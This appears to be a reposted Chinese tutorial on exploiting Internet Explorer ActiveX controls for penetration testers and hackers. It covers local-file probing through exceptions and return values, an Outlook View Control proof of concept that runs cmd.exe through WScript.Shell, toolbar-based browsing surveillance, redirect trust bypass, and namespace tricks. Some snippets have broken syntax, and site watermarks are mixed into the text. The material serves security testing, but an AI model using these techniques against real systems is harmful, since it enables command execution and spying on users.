在本文章中,我并不对ActiveX控件的基本攻击方案进行讨论。我在这里所要讨论的是使用很多有趣的窍门和技术来开发利用ActiveX控件,无论你是渗透测试工作者还是计算机地下成员,这些窍门和技术你在测试的时候都可以用。当然,你首先必须掌握它的基本知识,这样你在阅读此文章的时候不会遇到困境而影响你的热情度。下面我将一一描述并写出例子代码来讨论特殊情况下值得掌握的一些技术。
顺便提一下,为了避免坐牢或丢掉工作的危险,确保你具有在组织或企业的网络中执行下面技术的许可权,我强烈建议你手头有一张打印出来的许可文件。
==> 0×01 [异常处理:使用try-catch]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
通常来说,ActiveX控件是不会泄露本地硬盘存放了哪些文件的,但是ActiveX控件返回给Internet Explorer的报错信息经常给攻击者提供这些有用的信息。为了在JavaScript中返回这些异常,需要在调用产生报错信息的方法或属性的测试代码中添加try-catch块。从根本上讲,这些漏洞存在于那些名为Load,Open或*File的方法或属性中。基本上,要对任何试图加载或打开文件的行为进行测试。
下面是关于如何构建测试用例的一个简单例子,但它不一定完善。在这个例子中,一个攻击者想要证实是否存在设置了ActiveX控件的ConfigLocation属性的文件。如果文件被成功加载,代码将不会进入catch部分;如果文件没被加载,代码就会进入catch部分。
<OBJECT id=”AX” classid=CLSID:12345678-1234-1234-1234-123456789ABC>
<script>
try {
AX.ConfigLocation = “c:secret.txt”;
Alert(“File exists!”);
}
catch (oException) {
alert(“File does not exist”);
}
</script>
仅因为控件弹出一个异常而使代码进入catch部分,这并不一定意味着文件不存在。潜在地,加载的时候许多事情都可能失败(比如取消跨域警告),这些也可能导致出错。但是,如果控件提供出错的细节,攻击者就能探查到。
当代码遇到catch块的时候,不同的错误会用不同的数字来表示。这个特定的例子讲述了ConfigLocation属性是如何工作的:
1. 取得文件名的值
2. 首先检查扩展名是否为.xml或.txt
3. 然后检查文件是否存在
4. 最后,检查它是否为一个有效的XML文件
这里,至少有3个不同的位置会出错,也正因为如此,返回的不同错误号码会给攻击者提供重要的信息。hongkexy.com
为了分析这些具体的信息,攻击者可以在他们的catch声明中增加逻辑以寻找要出现的特定的异常号码,像下面这样:
<OBJECT id=”AX” classid=CLSID:12345678-1234-1234-1234-123456789ABC>
<script>
try {
AX.ConfigLocation = “c:secret.txt”;
Alert(“File exists!”);
}
catch (oException) {
//该数字用来表示文件不存在
if (oException.number == “2471683291″) {
alert(“File does not exist”);
}
else {
alert(“File exists!”);
}
}
</script> www.zhishiwu.com
我顺便提示一下,典型地,如果不同出错事件的异常号码相同,那么异常的描述(或消息)属性也将相同。但也并不总是如此,它还要依赖于在代码的什么位置设置描述。
==> 0×02 [返回值]
~~~~~~~~~~~~~~~~~~~~
程序员可能已经作了很好的工作,并且已经确认文件存在和不存在的时候,所能被捕获的异常是不能被区别的,但实际上还有其他方法能够找出文件是否真的存在。那么*Load方法会返回什么吗?
比如,考虑一下下面的代码,它调用了一个OpenFile方法。假设尝试过try-catch方法和几个其他的用例以后,每件事情看起来都不错。
<script>
OpenFile(“c:secret.txt”);
</script>
研究再深入一点,你会了解到OpenFile的返回值是一个布尔值。有意思。当攻击者想要用它的时候,会发生什么事情呢?
<script>
//返回值为true,文件存在
if (OpenFile(“c:secret.txt”);
{
Alert(“File Exists!”);
}
else
{
Alert(“File Does Not Exist”);
}
</script>
OpenFile的返回值是个布尔值(虽然使用long值或其它数据类型也一样能工作很好),你可以根据自己的需求使用。仔细看看这个例子中的返回值,它告诉你文件是否存在。
我在这里说一个技巧,那就是,除了使用try-catch和考虑返回值之外,不要忘了也要考虑事件。有时候事件触发的次数也会泄露信息。一个相关的更微妙的问题是定时攻击。即使控件没有泄露什么不能加载某个配置文件,但是它花费的事件有可能让攻击者知道这里是否有人在尝试解析该文件。
==> 0×03 [内嵌对象]
~~~~~~~~~~~~~~~~~~~~~~~
我喜爱这个小秘诀:一旦Internet Explorer中的脚本引擎有接口指针,那么它自己及其内部就不再安全。这就意味着,你可以通过安全对象访问不安全对象并且不会有警告提示,这当然也意味着那些安全对象实际上并不安全。
继续看下面我给出的例子。Microsoft Office Outlook View控件对那些想要集成Outlook的功能与其他插件的互联网解决方案的提供者和开发者来说是很有用的。此例中这个控件也被证明是不安全的。例子表明,一个ActiveX控件是怎样允许Web页面中的脚本访问更强的COM对象,而Internet Explorer从不允许脚本创建这些COM对象。
<object id=”ViewControl”
classid=”clsid:0006F063-0000-0000-C000-000000000038″>
<param name=”Folder” value=”Inbox”>
</object>
<script>
function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject(“WScript.Shell”);
oWSh.Run(“cmd.exe /k echo ProofOfConcept”);
}
setTimeout(“DoIt()”,2500);
</script>
它是如何起作用呢?攻击者首先指定<object>标签中的一个PRARM为Inbox,因为Inbox是最可能包含条目的文件夹之一。
<object id=”ViewControl”
classid=”clsid:0006F063-0000-0000-C000-000000000038″>
<param name=”Folder” value=”Inbox”>
</object>
运行的第一个脚本是SetTimeOut(“DoIt(),2500);调用它,会等待2.5秒钟(攻击者需要这个时间,因为有时Outlook需要一点时间来和邮件服务器对话并加载Inbox)。然后,脚本调用一个函数(DoIt),真正有作用的内容是在这个函数里。
function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject(“WScript.Shell”);
oWSh=Run(“cmd.exe /k echo ProofOfConcept”);
}
函数DoIt是怎样工作的呢?
oItem=ViewControl.object.selection.Item(1);
ViewControl.object自己定位了控件的对象模型,这比与Internet Explorer对话更好。后者忽略了这种情况:如果引用ViewControl.selection而不是ViewControl.object进行开发,Internet Explorer将针对Selection属性返回一些不同内容。ViewControl.object.selection是MailItem对象的集合,即使不是由JavaScript直接创建的,它也可以被存储在JavaScript的变量中。
注意:创建测试用例时,一定要确定你是调用对象本身而不是Internet Explorer文档对象模型。这一点你可通过在调试器中设置断点,在脚本中使用附加的对象。
因为ViewControl.object.selection是一个集合,它支持Item方法从集合中返回单个的条目,所以攻击者就能得到Inbox中的第一个条目并将它放入oItem中(Outlook集合是基于1的,它不同于Internet Explorer集合,后者是基于0的)。Outlook View控件不会再被脚本引擎引用了。现在,脚本有了一个常规的Outlook MailItem对象。MailItem对象并不安全,但是因为该对象是由Outlook View控件而不是Internet Explorer创建的,所以不会有报警提示。
我顺便说一下重要提示,控件创建的对象并不属于Internet Explorer安全模型。这意味着你也需要对另外那些对象的安全问题进行测试,即使你的程序员没有编写这些对象。因为你的控件把那些对象视为和浏览器一样安全。
oWSh=oItem.Session.Application.CreateObject(“WScript.Shell”);
该对象支持哪些属性和方法呢?经过验证,脚本能够先获得消息传送应用编程接口会话,然后再获得主要的Outlook.Application对象。该对象有一个CreateObject方法,这种方法会在本地系统创建一个COM对象,所以Windows脚本宿主WScript.Shell对象(可以运行任何命令)是一个不错的选择。
oWSh.Run(“cmd.exe /k echo ProofOfConcept”);
通常,WScript.Shell对象是非脚本化的,因为不具有低安全设置和提示的Internet Explorer是不能在脚本中创建这个对象的。但是,Outlook View控件创建了Outlook.Application对象,Outlook.Application对象接着创建了WScript.Shell对象。这样,对象就变得可以在Internet Explorer中脚本化了。
怎样识别出这些类型的对象呢?查找能够返回对象的对象、方法和属性的集合。其实,我列举出有5种数据类型要密切注意:
·IDispatch和IDispatch*对象肯定是个对象。注意,后缀的星号(*)表明这种类型是个指针而不是值。红客学院
·VARIANT和VARIANT*的意思是数据类型不明确,可能包含任何内容(包括对象)。注意,没有星号的VARIANT数据类型仍然可以包含接口指针。
·数据类型是在调试器的查看窗口确定给对象的。
·数据类型有能够在Internet Explorer中用alert(variable)返回[object]的变量。
·不可识别的数据类型。
我将提供一个窍门,VBScript的TypeName函数在运行的时候返回指定对象的类型。
==> 0×04 [控件持久性——浏览器帮助对象(BHO)]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
考虑一下HTML页面卸载时并不会随之而去的COM组件。BHO是这种组件的一个例子。它们不同于ActiveX控件,因为它们通常是在Internet Explorer启动或用户单击菜单项的时候被加载,而且它们会对不同的事件(如,定位Web页面和提交表格)进行响应。BHO有完全的访问权限来有计划地操纵Web浏览器和Web页上的所有内容。BHO能从网页被脚本化,而且它们和其他ActiveX控件一样易受再利用攻击。
如果你的控件有BHO功能,或用户从页面离开后控件仍保持激活状态,那么你就要仔细考虑下面这个控件的例子了,它允许任意恶意用户跟踪受害者的互联网使用情况。
提示:在你测试的时候,不要把每个ActiveX控件看做是一个独立单元,而应该把它看成是一个更大环境中的一部分。
这个功能特征管理Web服务器的协商线程,并在Internet Explorer中打开特定页面的时候出现,该特征会在应用程序窗口的底部显示协商工具栏。然后用户可以在这个工具栏中使用命令来增加协商服务器,指定要显示什么协商信息,或者预先指定Web服务器上的一个特定的Web页面或目录。
在这种特定的情况下,我列举出控件有以下两种有趣的方法:
·开启协商工具栏
·设置默认的协商服务器
除了与服务器的通信机制有弱点之外,控件本身似乎并不怎么有害。一旦协商工具栏被激活,控件就和指定的服务器通信并以此来查看服务器是否有针对特定URL的协商。通过使用HTTP请求来完成这些内容,其中,HTTP请求是在页面的URL中传送的。而用户则作为查询字符串的参数。
我再顺便提一下:切记ActiveX控件和BHO本质上就是Win32可执行程序。一些工具比如Network Monitor和其他的安全测试工具,在帮你评估控件的实际行为时,其价值是无法估量的。不要想当然地以为浏览器产生了所有的网络通信量。
这样攻击者就能启动工具栏,并将他们的服务器设置为默认服务器。然后,攻击者只需要浏览他们的网络日志文件,就可以查看受害者访问了哪些站点。如果某站点在受害者登录或提交敏感信息时,在查询字符串参数中(甚至在安全套接层)传送会话信息或其他有私密信息的内容,那么对于该站点来说更有害。
==> 0×05 [服务器重定向]
~~~~~~~~~~~~~~~~~~~~~~~~~~~
虽然我在Blog中并没有写太多基于Web的测试用例,但如果你是常客的话,会发现我写过的文章中多次提到并使用服务器重定向技术,从而可以看出此技术是多么重要。如果你的控件要求用户基于URL中的域来判定是否安全,或者提交一个URL给用户,要求允许使用一种可能不安全的方式来处理这个URL,那么你就需要针对服务器重定向进行测试。假设控件只有唯一的方法LoadFromURL,此方法接受一个参数,一个用来加载的URL字符串值。就像下面代码:
<script>
AX.LoadFromURL(http://www.good.example.com/goodpg.asp);
</script>
调用此方法时,会弹出对话框询问用户是否真的想要从good.example.com域加载文件。用户信任good.example.com,所以用户当然就信任文件。然后,改变URL:
<script>
var sURL = “http://www.good.example.com/?redir=”;
sURL = “http://www.bad.example.com/badpg.asp”;
AX.LoadFromURL(sURL);
</script>
对话框再次弹出,询问用户是否想从good.example.com加载页面。用户信任good.example.com,所以单击OK按钮。于是,控件将从bad.example.com加载文件。www.zhishiwu.com
为什么会发生这样的事情呢?重定向是完全合法的,许多网站都这样做了。在此例子中,good.example.com站点上存在一个页面,它能将用户重定向到这个站点的其他页面上。
这是如何起作用的?ASP夺取redir查询字符串的请求值,并发布Response.Redirect命令,将它作为要重定向的URL放在redir查询字符串(bad.example.com)中发生。然后Response.Redirect向客户端回应一个302(对象已被转移)或类似HTTP应答,同时带有一个要求客户端请求的新地址(bad.example.com)。
攻击者再利用此控件和服务器的重定向来欺骗用户,使用户从一个他可能并不信任的URL加载文件。一些开发人员可用的API自动支持重定向,所以,隐藏在表象之下。事实上,是为攻击者服务。
==> 0×06 [绕过浏览器安全设置]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在Internet Explorer 8中,Internet Explorer已经很大功夫减轻来自互联网的本地跨站脚本攻击。为了对本地跨站脚本攻击实施一个完全的解决方案,ActiveX控件也应该遵守规范而且不能重定向到本地内容。如果Internet Explorer禁止这种重定向,你的ActiveX控件却重定向到本地内容,那么此ActiveX控件就会成为一个可能被攻击者用来绕过Internet Explorer安全设置的方法。
要找到这些漏洞,首先确定控件中加载文件或使用URL的位置。接着,尝试使用ActiveX控件的这些元素加载本地文件。最后,通过查看控件的行为或使用其他工具(如FileMon)来评估你努力的结果。这里是它如何工作的一个简要例子:
<object
classid=”clsid:{12345678-1323-3214-3211-34514321342}”
id=”objBuggy”>
</object>
<script>
//控件在一个新窗口中加载脚本指定的URL,它要在此窗口中处理HTML
objBuggy.IsEditMode=1;
//很好地重定向到了本地文件
//注意在不含此ActiveX控件的IE浏览器中使用同等的脚本将会失败,
//因为IE的安全策略会阻塞这种行为
objBuggy.ShowHTMLWindow;
</script>
==> 0×07 [名字空间和行为]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
二进制行为像ActiveX控件一样工作,它绑定到特定的HTML标签,并且能用标签的属性初始化,或通过引用标签的ID或name脚本化。行为有能力控制HTML元素的所有方面(捕获事件、设定值等)。从安全的角度讲,二进制行为就像是ActiveX控件。
一个特定ActiveX控件的程序员使用控件的ImportList方法来执行一个二进制行为对潜在的恶意攻击进行阻塞。在正常的用法中,控件是作为<input type=file/>元素的一个行为加载的,如下代码:
<object classid=”clsid:{BDEADE9E-C265-11d0-BCED-00A0C90AB50F}”
id=”LauncherObj” style=”display:none;”></object>
<input id=”SpreadsheetFile” Type=”file” Name=”SpreadsheetFile”
style=”behavior: url(#LauncherObj);”>
HTML元素<input type=file/>不允许脚本设置value属性(其中包含要上传的文件名),否则恶意Web站点也能从用户硬盘上传任意文件。因此控件程序员就要增加一个安全检查,以确定控件只能被绑定到Type=file的HTML的<input>元素中。
攻击者怎样绕过这种二进制行为的安全机制呢?没有任何方法可使控件能通过input元素直接访问文件。换一种方式,攻击者必须欺骗控件让它以为自己被加载到了一个input元素里,但实际上是其他的一些元素绑定到了这个行为上。这是利用HTML的名字空间和扩展实现的。
总之,名字空间可被添加到任何HTML文档中,如下代码:
<HTML XMLNS:NETSPY>
在此例子里,名字空间是NETSPY。通过将名字空间的名字预设给标签名,名字空间中可包含特定的HTML标签:
<NETSPY:IMG src=http://file.zhishiwu.com/allimg/130124/19221B615-0.jpg”>
通过定义一个HTML名字空间,攻击者欺骗空间,使之认为它是通过<input type=file/>元素加载的。然后,通过设置扩展value=c:filename.txt,攻击者可用控件来探测一个本地文件是否存在,还可探测其他的一些恶意行为。
==> 0×08 [尾声]
~~~~~~~~~~~~~~~~~~~
在文章的尾部,我不得不提醒一下,ActiveX控件很容易被设计成自动化操作。利用这一点,对控件可能再次引入漏洞的特征和功能进行自动探测。就像我给自己量身定做的基于远程认证入侵的自动化实现代码(更确切地说,扫描、漏洞利用和自我植入等等一条龙服务)。
(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)